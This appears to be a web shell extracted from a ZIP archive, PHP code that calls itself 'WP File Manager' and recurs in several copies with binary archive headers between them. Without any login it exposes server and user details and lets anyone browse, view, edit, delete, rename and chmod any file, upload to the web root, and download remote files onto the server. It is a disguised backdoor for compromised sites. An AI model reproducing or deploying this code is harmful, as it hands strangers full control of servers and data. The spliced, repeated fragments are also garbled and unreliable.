'_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëshqipe@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëshqipe@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
